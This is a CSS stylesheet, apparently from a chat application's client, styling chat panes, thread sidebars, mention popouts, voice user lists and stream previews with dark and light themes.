@keyframes inner-circle-loop-2ptEJN { 
  0% { opacity: 0.1; transform: scale(1.1); }
  42% { opacity: 0.25; transform: scale(0.9); }
  100% { opacity: 0.1; transform: scale(1.1); }
}

@-webkit-keyframes outer-circle-loop-2tj-Tq { 
  0% { opacity: 0; transform: scale(1.1); }
  51% { opacity: 0.2; transform: scale(0.9); }
  100% { opacity: 0; transform: scale(1.1); }
}

@keyframes outer-circle-loop-2tj-Tq { 
  0% { opacity: 0; transform: scale(1.1); }
  51% { opacity: 0.2; transform: scale(0.9); }
  100% { opacity: 0; transform: scale(1.1); }
}

@-webkit-keyframes inner-circle-loop-high-priority-2YYlba { 
  0% { opacity: 0.1; transform: scale(1.1); }
  42% { opacity: 0.5; transform: scale(0.9); }
  100% { opacity: 0.1; transform: scale(1.1); }
}

@keyframes inner-circle-loop-high-priority-2YYlba { 
  0% { opacity: 0.1; transform: scale(1.1); }
  42% { opacity: 0.5; transform: scale(0.9); }
  100% { opacity: 0.1; transform: scale(1.1); }
}

@-webkit-keyframes outer-circle-loop-high-priority-26WkDY { 
  0% { opacity: 0; transform: scale(1.1); }
  51% { opacity: 0.4; transform: scale(0.9); }
  100% { opacity: 0; transform: scale(1.1); }
}

@keyframes outer-circle-loop-high-priority-26WkDY { 
  0% { opacity: 0; transform: scale(1.1); }
  51% { opacity: 0.4; transform: scale(0.9); }
  100% { opacity: 0; transform: scale(1.1); }
}

@-webkit-keyframes quick-fade-out-3IYyUm { 
  100% { opacity: 0; }
}

@keyframes quick-fade-out-3IYyUm { 
  100% { opacity: 0; }
}

.chat-3bRxxu, .threadSidebar-1o3BTy { min-width: 0px; min-height: 0px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; overflow: hidden; background: var(--background-primary); }

.chat-3bRxxu { -webkit-box-flex: 1; flex: 1 1 auto; }

.chat-3bRxxu .uploadArea-1qnBZm { position: fixed; }

.chat-3bRxxu.threadSidebarOpen-vdkwIh { border-radius: 0px 8px 8px 0px; }

.chat-3bRxxu.threadSidebarOpen-vdkwIh .uploadArea-1qnBZm { right: max(29vw + 8px, 408px); width: auto; border-radius: 0px 8px 8px 0px; }

.threadSidebar-1o3BTy { width: 29vw; min-width: 400px; -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 8px; border-radius: 8px 0px 0px 8px; }

@media (max-width: 1150px) {
  .threadSidebar-1o3BTy { position: absolute; top: 0px; right: 0px; bottom: 0px; z-index: 100; border-left: 1px solid var(--background-secondary); filter: drop-shadow(rgba(0, 0, 0, 0.32) 0px 8px 40px); }
  .chat-3bRxxu.threadSidebarOpen-vdkwIh .uploadArea-1qnBZm { right: 400px; border-radius: 0px; }
}

.form-2fGMdU { position: relative; flex-shrink: 0; padding-left: 16px; padding-right: 16px; margin-top: -8px; }

.form-2fGMdU::before { content: ""; position: absolute; top: 0px; left: 0px; height: 0.5rem; width: 1.25rem; }

.theme-dark .form-2fGMdU::before { background: linear-gradient(180deg,rgba(54,57,63,0) 0,var(--background-primary)); }

.theme-light .form-2fGMdU::before { background: linear-gradient(180deg,hsla(0,0%,100%,0) 0,var(--background-primary)); }

.chatContent-a9vAAp { position: relative; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-width: 0px; min-height: 0px; -webkit-box-flex: 1; flex: 1 1 auto; }

.cursorPointer-1j7DL8 { cursor: pointer; }

.content-yTz4x3 { min-width: 0px; min-height: 0px; -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; justify-content: stretch; -webkit-box-align: stretch; align-items: stretch; position: relative; }

.content-yTz4x3.noChat-9aipKz { overflow: hidden; }

.content-yTz4x3::before { content: ""; position: absolute; display: block; top: -1px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; }

.channelTextArea-rNsIhG { margin-bottom: 24px; background-color: var(--background-primary); }

.titleWrapper-1l0xT9 { display: flex; -webkit-box-flex: 1; flex: 1 1 auto; -webkit-box-align: center; align-items: center; overflow: hidden; }

.editPartyIcon-1GA5r3 { margin-right: 4px; cursor: pointer; opacity: 0.6; transition: opacity 0.2s ease 0s; }

.editPartyIcon-1GA5r3:hover { opacity: 1; }

.channelName-3stJzi { margin: 0px 8px; }

.parentChannelName-1C2HEo { color: var(--header-secondary); }

.parentChannelName-1C2HEo:hover { color: var(--header-primary); }

.title-3qD0b- { position: relative; -webkit-box-flex: 0; flex: 0 0 auto; z-index: 100; }

.followButton-L6L-Us { padding: 4px 8px; margin-right: 8px; }

.status-1XNdyw { margin-right: 8px; -webkit-box-flex: 0; flex: 0 0 auto; display: flex; -webkit-box-align: center; align-items: center; }

.stop-animations .title-3qD0b- { -webkit-app-region: no-drag; }

.platform-osx .container-1r6BKw { -webkit-app-region: drag; }

.container-1r6BKw { position: relative; display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; width: 100%; -webkit-box-flex: 0; flex: 0 0 auto; height: 48px; padding: 0px 8px; font-size: 16px; line-height: 20px; cursor: default; z-index: 2; color: var(--text-normal); }

.container-1r6BKw, .container-1r6BKw * { box-sizing: border-box; }

.container-1r6BKw.themed-ANHk51 { background: var(--background-primary); }

.container-1r6BKw.transparent-2ZlE3R { background: transparent; }

.children-19S4PO { position: relative; -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-align: center; align-items: center; min-width: 0px; overflow: hidden; }

.children-19S4PO::after { content: ""; position: absolute; top: 0px; right: 0px; width: 8px; height: 100%; }

.theme-dark .children-19S4PO::after { background: linear-gradient(90deg,rgba(54,57,63,0) 0,var(--background-primary)); }

.theme-light .children-19S4PO::after { background: linear-gradient(90deg,hsla(0,0%,100%,0) 0,var(--background-primary)); }

.transparent-2ZlE3R .children-19S4PO::after { display: none; }

.toolbar-1t6TWx { flex: 0 0 auto; min-width: 0px; }

.title-29uC1r, .toolbar-1t6TWx { -webkit-box-flex: 0; display: flex; -webkit-box-align: center; align-items: center; }

.title-29uC1r { -webkit-box-pack: start; justify-content: flex-start; margin: 0px 8px 0px 0px; flex: 0 0 auto; min-width: auto; overflow: hidden; white-space: nowrap; }

.clickable-3rdHwn { cursor: pointer; }

.iconWrapper-2OrFZ1 { position: relative; height: 24px; width: auto; -webkit-box-flex: 0; flex: 0 0 auto; margin: 0px 8px; }

.icon-22AiRD { display: block; width: 24px; height: 24px; -webkit-app-region: no-drag; color: var(--text-muted); }

.clickable-3rdHwn .icon-22AiRD { color: var(--interactive-normal); }

.clickable-3rdHwn:hover .icon-22AiRD { color: var(--interactive-hover); }

.selected-1GqIat .icon-22AiRD { color: var(--interactive-active); }

.iconBadge-qZ4Ksk { position: absolute; right: 2px; bottom: 2px; width: 8px; height: 8px; border-radius: 8px; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.divider-3FBTu8 { width: 1px; height: 24px; margin: 0px 8px; -webkit-box-flex: 0; flex: 0 0 auto; background: var(--background-modifier-accent); }

.caret-3W7cBB { color: var(--text-muted); flex-shrink: 0; width: 10px; margin: 0px 2px; }

.chatSidebar-3O5QVJ { display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; position: relative; overflow: hidden; background: var(--background-primary); width: 29vw; min-width: 400px; -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 8px; border-radius: 8px 0px 0px 8px; }

.noticeIcon-2zmAL0 { color: var(--header-secondary); margin-right: 8px; width: 16px; height: 16px; }

.beta-2YST1- { background-color: var(--info-help-background); color: var(--info-help-text); padding: 2px 4px; border-radius: 4px; text-transform: uppercase; }

.chat-15Vmww { min-width: 0px; min-height: 0px; -webkit-box-flex: 1; flex: 1 1 auto; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; justify-content: stretch; -webkit-box-align: stretch; align-items: stretch; position: relative; }

.chat-15Vmww::before { content: ""; position: absolute; display: block; top: -1px; left: 0px; right: 0px; height: 1px; box-shadow: var(--elevation-low); z-index: 1; pointer-events: none; }

.container-3AAEBU { -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; min-height: 300px; }

.circle-pwhgsv, .container-3AAEBU { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; }

.circle-pwhgsv { background-color: var(--background-tertiary); border-radius: 50%; height: 64px; width: 64px; }

.icon-2tws8E { color: var(--interactive-active); }

.title-1QR1sn { margin: 32px 0px 8px; }

.roleTip-2Bb-hg, .subtitle-Mogk5d { text-align: center; }

.roleTip-2Bb-hg { margin-top: 4px; }

.header-2MrRa6 { background-color: var(--background-tertiary); -webkit-box-align: center; align-items: center; }

.content-1SXGsJ, .header-2MrRa6 { display: flex; }

.content-1SXGsJ { padding-top: 16px; padding-bottom: 16px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.icon-mQDO2w { color: var(--interactive-normal); margin-right: 8px; }

.divider-2XFZvB { margin: 0px 16px; color: var(--background-modifier-accent); }

.button-2m81qH { padding: 2px 4px; }

.eventCard-2-j_J5 + .eventCard-2-j_J5 { margin-top: 16px; }

.iconButton-1UJy7l { position: absolute; right: 16px; }

.iconButton-1UJy7l .icon-mQDO2w { margin: 0px; }

.iconButton-1UJy7l:hover { cursor: pointer; }

.iconButton-1UJy7l:hover .icon-mQDO2w { color: var(--interactive-active); }

.button-3fqwL9 { margin-right: 16px; }

.messagesPopoutWrap-1MQ1bW { background-color: var(--background-secondary); box-shadow: var(--elevation-stroke),var(--elevation-high); width: 420px; min-height: 200px; border-radius: 4px; overflow: hidden; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; position: relative; z-index: 0; }

.messagesPopoutWrap-1MQ1bW .mention { pointer-events: none; }

.header-ykumBX { position: relative; padding: 16px; background-color: var(--background-tertiary); box-shadow: var(--elevation-low); }

.title-3pkaKd { color: var(--header-primary); }

.footer-1kmXd4 { padding: 16px; text-align: center; height: 53px; background-color: var(--background-tertiary); }

.loadingMore-1cSz09 { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; margin-bottom: 8px; }

.loadingMore-1cSz09 .spinner-MoOpqm { display: inline-block; margin: 0px; }

.hasMore-sul95G, .loadingMore-1cSz09 { margin-top: 8px; height: 32px; }

.hasMore-sul95G { display: flex; -webkit-box-align: center; align-items: center; padding: 0px 9px 16px 16px; }

.messagesPopout-24nkyi { padding: 8px 0px 0px 8px; }

.messageGroupWrapper-o-Zw7G { position: relative; background: var(--background-primary); border: 1px solid var(--background-tertiary); border-radius: 4px; user-select: none; margin: 0px 0px 6px; overflow: hidden; }

.messageGroupWrapper-o-Zw7G .messageGroupCozy-2iY6cT { margin-left: -4px; padding-top: 12px; padding-bottom: 12px; }

.scrollingFooterWrap-3FDlMn { position: relative; }

.emptyPlaceholder-1zh-Eu { margin-top: 8px; margin-bottom: 16px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-flex: 0; flex: 0 0 auto; }

.emptyPlaceholder-1zh-Eu, .emptyPlaceholder-1zh-Eu.bottom-TGnsta { -webkit-box-align: center; align-items: center; }

.emptyPlaceholder-1zh-Eu.bottom-TGnsta { margin-bottom: 0px; }

.emptyPlaceholder-1zh-Eu.bottom-TGnsta .image-2JDb81 { margin-top: 25px; }

.emptyPlaceholder-1zh-Eu.loadingPlaceholder-2SCYFe { margin-top: 100px; }

.image-2JDb81 { width: 120px; height: 120px; background-size: 94px 120px; background-repeat: no-repeat; background-position: 50% center; }

.body-bvcIjN { white-space: pre; margin-top: 20px; font-size: 16px; line-height: 20px; font-weight: 500; text-align: center; color: var(--text-normal); }

.loadingPlaceholder-2SCYFe { margin-top: 240px; }

.channelSeparator-1MxuvT { margin-top: 24px; margin-bottom: 8px; }

.channelName-3kBz6H { font-weight: 500; font-size: 16px; line-height: 18px; cursor: pointer; color: var(--header-primary); }

.channelName-3kBz6H:hover { text-decoration: underline; }

.guildName-1Bc3Ta { color: var(--text-muted); font-weight: 500; margin-left: 4px; font-size: 12px; line-height: 16px; }

.channelSeparator-1MxuvT:first-of-type { margin-top: 13px; }

.actionButtons-1sUUug { display: none; position: absolute; top: 12px; right: 12px; }

.messageGroupWrapper-o-Zw7G:focus-within .actionButtons-1sUUug, .messageGroupWrapper-o-Zw7G:hover .actionButtons-1sUUug { display: flex; }

.jumpButton-3DTcS_ { position: relative; display: flex; cursor: pointer; user-select: none; font-weight: 500; line-height: 14px; font-size: 11px; height: 14px; border-radius: 3px; text-align: center; padding: 2px 8px; margin-right: 4px; margin-left: 6px; color: var(--interactive-normal); background-color: var(--background-secondary); }

.jumpButton-3DTcS_:hover { color: var(--interactive-hover); }

.keyboard-mode .jumpButton-3DTcS_:focus { box-shadow: 0 0 0 4px var(--focus-primary); }

.jumpButton-3DTcS_ .loading-2bJK5L { position: absolute; inset: 0px; opacity: 0; display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.jumpButton-3DTcS_ .loading-2bJK5L.visible-1PE5Ym { opacity: 1; }

.closeIcon-2Yg8TD { width: 16px; height: 16px; display: block; cursor: pointer; color: var(--interactive-normal); }

.closeIcon-2Yg8TD:hover { color: var(--interactive-hover); }

.closeIcon-2Yg8TD:active { color: var(--interactive-active); }

.button-1-5Aqk { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; flex-shrink: 0; border-radius: 50%; box-sizing: border-box; cursor: pointer; }

.full-motion .button-1-5Aqk { transition: color 0.2s ease 0s, background-color 0.2s ease 0s; }

.primary-2McadE { background-color: var(--background-primary); color: var(--header-primary); }

.primary-2McadE:hover:not(.disabled-3Njyym) { color: var(--interactive-active); }

.primary-2McadE:hover:not(.disabled-3Njyym), .secondary-dIudih { background-color: var(--background-secondary); }

.secondary-dIudih { color: var(--header-secondary); }

.secondary-dIudih:hover:not(.disabled-3Njyym) { background-color: var(--background-primary); color: var(--interactive-active); }

.tertiary-aMXF0g { background-color: var(--background-tertiary); color: var(--interactive-normal); }

.tertiary-aMXF0g:hover:not(.disabled-3Njyym) { background-color: var(--background-floating); color: var(--interactive-active); }

.size24-12dr1B { padding: 4px; width: 24px; min-width: 24px; height: 24px; min-height: 24px; }

.size32-T2BHRe { width: 32px; min-width: 32px; height: 32px; min-height: 32px; }

.size36-1Ff1kn { width: 36px; min-width: 36px; height: 36px; min-height: 36px; }

.disabled-3Njyym { opacity: 0.3; pointer-events: none; }

.jumpButton-2dvRSC { -webkit-box-align: center; align-items: center; background-color: var(--background-tertiary); border-radius: 3px; box-sizing: border-box; cursor: pointer; font-weight: 500; height: 24px; padding: 4px; position: absolute; right: 0px; text-align: center; top: 3px; user-select: none; z-index: 1; }

.jumpButton-2dvRSC .text-3KVtey { color: var(--header-secondary); }

.jumpButton-2dvRSC:hover .text-3KVtey { color: var(--interactive-hover); }

.jumpButton-2dvRSC:active .text-3KVtey { color: var(--interactive-active); }

.wrapper-232cHJ { display: inline-block; border-radius: 3px; background-clip: padding-box; background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); box-shadow: rgba(0, 0, 0, 0.25) 0px 1px 0px, rgba(255, 255, 255, 0.15) 0px 1px 0px inset; color: rgb(255, 255, 255); font-size: 12px; line-height: 12px; font-weight: 500; padding: 3px 6px; text-shadow: rgba(0, 0, 0, 0.25) 0px 1px 0px; text-transform: uppercase; }

.channelHeader-3Gd2xq { -webkit-box-align: center; align-items: center; background-color: var(--background-secondary); box-sizing: border-box; display: flex; height: 64px; padding-top: 12px; padding-bottom: 12px; padding-left: 16px; position: sticky; top: 0px; z-index: 10; }

.dmIcon-2eU-bE { border-radius: 12px; height: 40px; width: 40px; }

.dmIcon-2eU-bE, .guildIcon-3Co6k- { cursor: pointer; margin-right: 16px; flex-shrink: 0; }

.guildIcon-3Co6k- { background-color: var(--background-secondary-alt); }

.channelNameSection-3Vm87D { display: flex; -webkit-box-flex: 1; flex-grow: 1; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; margin-right: 16px; overflow: hidden; }

.badge-2l0o8g { border-radius: 20px; box-shadow: none; margin-left: 8px; position: relative; text-shadow: none; top: -2px; }

.channelName-_v0rI4, .subtext-qy79y1 { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; word-break: break-all; }

.channelName-_v0rI4, .guildName-GKOCI8 { cursor: pointer; display: inline-block; min-width: 0px; width: 100%; }

.channelName-_v0rI4:hover, .guildName-GKOCI8:hover { text-decoration: underline; }

.channelNameHeader-F4hU_R { height: 20px; }

.subtext-qy79y1, .subtextContainer-34z_03 { max-height: 16px; min-width: 0px; width: 100%; }

.activityStatus-3EyZw5 { display: flex; }

.activityEmoji-3sF2z4 { margin-right: 4px; width: 14px; height: 14px; }

.container-3u944p { -webkit-box-align: center; align-items: center; display: flex; -webkit-box-flex: 1; flex: 1 1 0%; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; min-height: 400px; text-align: center; padding: 0px 16px; }

.iconContainer-JbDkvn { margin-bottom: 16px; position: relative; }

.icon-1Itzco { background-color: var(--background-primary); border-radius: 80px; color: var(--text-muted); padding: 22px; }

.stars-1YAEQv { position: absolute; left: -10px; }

.header-2M8_sb { margin-bottom: 8px; }

.protip-283HFv { font-weight: 700; text-transform: uppercase; }

.recentMentionsPopout-3rCiI6 { width: 35vw; max-width: 600px; min-width: 480px; max-height: 80vh; }

.scroller-2UmRce { padding: 0px; }

.container-3iAQ-0 { margin-bottom: 16px; padding-left: 16px; padding-right: 9px; }

.closeButton-1152MI { flex-shrink: 0; margin-left: 12px; }

.messageContainer-gbhlwo { background-color: var(--background-primary); border-radius: 8px; padding: 16px 16px 16px 0px; position: relative; }

.jumpButton-2F6EMx { right: 16px; top: 19px; opacity: 0; }

.messageContainer-gbhlwo:focus-within .jumpButton-2F6EMx, .messageContainer-gbhlwo:hover .jumpButton-2F6EMx { opacity: 1; }

.message-2DieIs { overflow: hidden; padding-right: 0px; }

.messageContainer-gbhlwo .message-2DieIs:first-of-type { margin-top: 0px; }

.header-2-Imhb { box-shadow: none; height: 56px; -webkit-box-pack: justify; justify-content: space-between; min-height: 56px; padding: 12px 16px; }

.header-2-Imhb, .header-2-Imhb .tab-ck0077 { box-sizing: border-box; display: flex; }

.header-2-Imhb .tab-ck0077 { -webkit-box-align: center; align-items: center; height: 24px; -webkit-box-pack: center; justify-content: center; margin-left: 0px; margin-top: 4px; text-align: center; }

.theme-dark .header-2-Imhb .tabBar-1kuXvJ .tab-ck0077.active-1MbGPa { background-color: var(--background-accent); }

.messages-3G3erD { background-color: var(--background-primary); border-radius: 8px; padding: 16px 16px 16px 0px; }

.messageContainer-1ei2zM { position: relative; }

.jumpButton-3vBz5U { opacity: 0; }

.messageContainer-1ei2zM:focus-within .jumpButton-3vBz5U, .messageContainer-1ei2zM:hover .jumpButton-3vBz5U { opacity: 1; }

.message-2g38UB { overflow: hidden; padding-right: 0px; }

.message-2g38UB .mention { pointer-events: none; }

.messages-3G3erD .messageContainer-1ei2zM:first-of-type .message-2g38UB { margin-top: 0px; }

.divider-39oAwV { margin-top: 16px; margin-bottom: 16px; margin-left: 16px; }

.channel-3pEHab { padding-bottom: 16px; }

.collapseButton-2ZsEjz, .markReadButton-qAjML_ { flex-shrink: 0; }

.markReadButton-qAjML_ { margin-left: 12px; }

.collapseButton-2ZsEjz { color: var(--interactive-normal); cursor: pointer; position: absolute; left: -6px; width: 16px; height: 16px; padding: 2px; }

.collapseButton-2ZsEjz.collapsed-S4RKOA { transform: rotate(-90deg); }

.divider-EK35Fy { margin-top: 48px; margin-bottom: 32px; }

.dividerContent-2S2hYI { background: transparent; }

.container-enaOkj { background-color: var(--background-secondary); box-shadow: var(--elevation-stroke),var(--elevation-high); border-radius: 4px; overflow: hidden; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; box-sizing: border-box; position: relative; z-index: 0; }

.spinner-3wwZNP { margin-bottom: 32px; margin-top: 32px; }

.tutorial-3w5I9h { background-color: var(--background-tertiary); border-radius: 8px; padding: 16px; margin: 16px 0px; }

.tutorial-3w5I9h, .tutorialIcon-3f1miQ { display: flex; }

.tutorialIcon-3f1miQ { -webkit-box-align: center; align-items: center; background-color: var(--background-primary); border-radius: 40px; color: var(--interactive-normal); height: 40px; -webkit-box-pack: center; justify-content: center; width: 40px; flex-shrink: 0; margin-right: 16px; }

.tutorialButton-2wJx1F { margin-top: 8px; }

.scroller-tlc3kG { padding: 0px 16px; }

.root-2eYTXR.comboIcon-2e1arG { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; width: auto; height: 24px; }

.count-34xWho { line-height: 24px; margin-left: 4px; }

.icon--rRIa3 { width: 24px; height: 24px; flex-shrink: 0; }

.list-SuzGBZ { display: flex; -webkit-box-pack: start; justify-content: flex-start; }

.listDefault-3ir5aS { -webkit-box-orient: vertical; flex-flow: column nowrap; -webkit-box-align: stretch; align-items: stretch; }

.listCollapse-1f19fE, .listDefault-3ir5aS { -webkit-box-direction: normal; }

.listCollapse-1f19fE { -webkit-box-orient: horizontal; flex-flow: row wrap; -webkit-box-align: start; align-items: flex-start; }

.voiceUser-1K6Xox { position: relative; cursor: pointer; }

.content-1Wq3SX { display: flex; border-radius: 4px; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; margin-top: 1px; margin-bottom: 1px; }

.flipped-2sNWIS { -webkit-box-orient: horizontal; -webkit-box-direction: reverse; flex-direction: row-reverse; }

.userLarge-qiDClb { height: 38px; }

.userSmall-YJ5L9_ { height: 32px; }

.listCollapse-1f19fE .content-1Wq3SX { margin-left: 8px; }

.listCollapse-1f19fE .content-1Wq3SX.flipped-2sNWIS { margin-left: 0px; margin-right: 8px; }

.listDefault-3ir5aS .avatarContainer-28iYmV { margin-right: 8px; margin-left: 8px; }

.avatar-3tNQiO { -webkit-box-flex: 0; flex: 0 0 auto; border-radius: 50%; background-size: cover; background-repeat: no-repeat; background-position: 50% 50%; margin-top: 3px; margin-bottom: 3px; }

.avatarSmall-1PJoGO { width: 24px; height: 24px; }

.avatarLarge-3EQ-HE { width: 30px; height: 30px; }

.avatarSpeaking-2IGMRN { box-shadow: inset 0 0 0 2px hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%),inset 0 0 0 3px var(--background-secondary); }

.username-3KYl0N { -webkit-box-flex: 1; flex: 1 1 auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.usernameFont-23TX-h { font-size: 14px; line-height: 18px; font-weight: 500; }

.icons-1dXQdz { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 8px; }

.flipped-2sNWIS .icons-1dXQdz { margin-right: 0px; margin-left: 8px; }

.icon-2IuuZd { width: 16px; height: 16px; }

.iconTooltipContainer-DzbRyh { line-height: 0; }

.iconTooltip-9cG7Fn { display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; overflow: hidden; }

.iconSpacing-3eO9xt { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 4px; }

.liveIconSpacing-DSnkAT { margin-left: 6px; }

.flipped-2sNWIS .iconSpacing-3eO9xt { margin-left: 0px; margin-right: 4px; }

.iconPriortySpeaker-3bZlw- { position: absolute; left: -16px; width: 6px; height: 6px; border-radius: 8px; }

.icon-2IuuZd, .username-3KYl0N { color: var(--channels-default); }

.iconServer-Lyg2F4, .strikethrough-3q4FHz { color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); }

.listDefault-3ir5aS .clickable-1lCRLF:hover .content-1Wq3SX { background-color: var(--background-modifier-hover); }

.listDefault-3ir5aS .clickable-1lCRLF:active .content-1Wq3SX { background-color: var(--background-modifier-active); }

.listDefault-3ir5aS .clickable-1lCRLF.selected-3t3Csj .content-1Wq3SX { background-color: var(--background-modifier-selected); }

.listDefault-3ir5aS .clickable-1lCRLF:hover .username-3KYl0N { color: var(--interactive-hover); }

.listDefault-3ir5aS .clickable-1lCRLF.selected-3t3Csj .username-3KYl0N, .usernameSpeaking-RmltQx { color: var(--interactive-active); }

.liveIcon-2TcPbb { background-color: hsl(359,calc(var(--saturation-factor, 1)*82.6%),59.4%); color: rgb(255, 255, 255); }

.iconPriortySpeakerSpeaking-22tQMF { background-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.iconPriortySpeaker-3bZlw- { background-color: var(--text-muted); }

.disabled-o7LSOr { opacity: 0.5; }

.disabled-o7LSOr:hover { opacity: 1; }

.body-Ogsp8i { padding: 10px; }

.streamPreviewWrapper-2DSWOK { padding-left: 16px; opacity: 0; transition: opacity 0.15s ease 0s, transform 125ms ease-in 0s, -webkit-transform 125ms ease-in 0s; position: relative; transform: translate3d(8px, 0px, 0px) scale(0.98); transform-origin: 50% 50%; }

.streamPreviewWrapper-2DSWOK.mounted-26niXS { opacity: 1; transform: translateZ(0px) scale(1); }

.streamPreview-2-WUWT { width: 252px; border-radius: 5px; overflow: hidden; box-shadow: var(--elevation-high); }

.previewContainer-12UlHl { width: 100%; box-sizing: border-box; height: 142px; position: relative; }

.previewContainer-12UlHl:hover .previewHover-1tGzfF { opacity: 1; }

.previewHover-1tGzfF { transition: opacity 0.2s ease-in-out 0s; opacity: 0; position: absolute; inset: 0px; display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; cursor: pointer; line-height: 18px; font-weight: 600; }

.previewImage-RxVzkZ { width: 100%; height: 100%; }

.applicationName-31eLkz { position: absolute; top: 8px; left: 12px; font-size: 14px; line-height: 18px; }

.watchButtonInner-2padQK { display: flex; -webkit-box-align: center; align-items: center; }

.liveIcon-1hht8V { margin-right: 8px; }

.activityActions-k66mD_ { margin-top: 0px; }

.protip-3-1FNm { text-align: center; margin-top: 10px; }

.white-WjN64k { color: rgb(255, 255, 255); }

.theme-dark .streamPreview-2-WUWT { background-color: rgb(32, 34, 37); }

.theme-dark .previewContainer-12UlHl { background-color: rgb(41, 43, 47); }

.theme-dark .applicationName-31eLkz { color: rgb(255, 255, 255); }

.theme-dark .watchButton-2SbJEo { border-color: rgb(114, 118, 125); color: rgb(255, 255, 255); }

.theme-dark .watchButton-2SbJEo:not([disabled]):hover { border-color: rgb(255, 255, 255); }

.theme-dark .previewHover-1tGzfF { background: rgba(0, 0, 0, 0.6); }

.theme-light .streamPreview-2-WUWT { background-color: rgb(255, 255, 255); }

.theme-light .previewContainer-12UlHl { background-color: rgb(248, 249, 249); }

.theme-light .applicationName-31eLkz { color: rgb(35, 38, 42); }

.theme-light .watchButton-2SbJEo { border-color: rgb(144, 153, 164); color: rgb(35, 38, 42); }

.theme-light .watchButton-2SbJEo:not([disabled]):hover { border-color: rgb(35, 38, 42); }

.theme-light .previewHover-1tGzfF { background: rgba(79, 86, 96, 0.6); }

.draggable-2E_4tJ { position: relative; height: 32px; }

.draggable-2E_4tJ:active { transform: translateZ(0px); }

.list-2luk8a { padding-left: 36px; padding-bottom: 8px; }

.collapsed-21_y8I { padding-right: 8px; }

.disableInteraction-3oQqhT { pointer-events: none; }

.root-2QSv-c { background-color: var(--background-floating); border-radius: 4px; width: 240px; max-height: 260px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.root-2QSv-c .voiceUsers-3lwp-W { padding: 0px; }

.header-1SPvMo { padding: 16px 16px 9px; text-transform: uppercase; font-weight: 700; color: var(--interactive-normal); }

.scroller-GApUBG { padding: 0px 16px 16px 8px; }

.button-1xaXFt { margin-left: 0px; }

.button-1xaXFt, .divider-T9ghJP { margin-right: 16px; }

.divider-T9ghJP { background: rgb(32, 34, 37); }

.speaker-13nFCF { margin-right: 8px; }

.speaker-13nFCF.last-GyWdM0 { margin-right: 16px; }

.chatSpacer-2kQpm7 { width: 24px; height: 24px; }

.chatSpacer-2kQpm7, .lastButton-3MuhDM { margin-right: 8px; }

.avatar-EDoEQX { margin-right: 8px; flex-shrink: 0; }

.divider-36-9JI { background: rgba(79, 84, 92, 0.32); margin-right: 16px; }

.playingText-3KIkt6 { text-overflow: ellipsis; color: rgb(185, 187, 190); font-weight: 500; margin-right: 8px; display: flex; -webkit-box-align: center; align-items: center; }

.eventStatusText-1uUwkn, .playingText-3KIkt6 { white-space: nowrap; overflow: hidden; }

.eventStatusText-1uUwkn { font-weight: 600; margin-right: 16px; }

.container-x-SnoF { display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; }

.activityIcon-Mmrl8T { width: 24px; height: 24px; border-radius: 4px; margin-right: 10px; }

.wrapper-2qzCYF { display: flex; position: relative; -webkit-box-flex: 0; flex: 0 0 auto; background-color: var(--background-tertiary); z-index: 2; }

.wrapper-2qzCYF.animated-1N1Pe_ { transition: height 0.35s ease 0s; }

.wrapper-2qzCYF.normal-1oavYI { height: 50%; }

.wrapper-2qzCYF.minimum-28Z35l { height: 240px; background-color: var(--background-floating); }

.wrapper-2qzCYF.minimum-28Z35l.video--KPXCT { height: 284px; }

.wrapper-2qzCYF.chatSidebarOpen-2u0Ygq, .wrapper-2qzCYF.fullScreen-1tMzXY, .wrapper-2qzCYF.noChat-18KtBD { height: 100%; }

.wrapper-2qzCYF.fullScreen-1tMzXY { width: 100%; }

.wrapper-2qzCYF.popout-1MBou- { height: 100%; width: 100%; }

.wrapper-2qzCYF.poppedOut-1U3Bzn { height: 154px; }

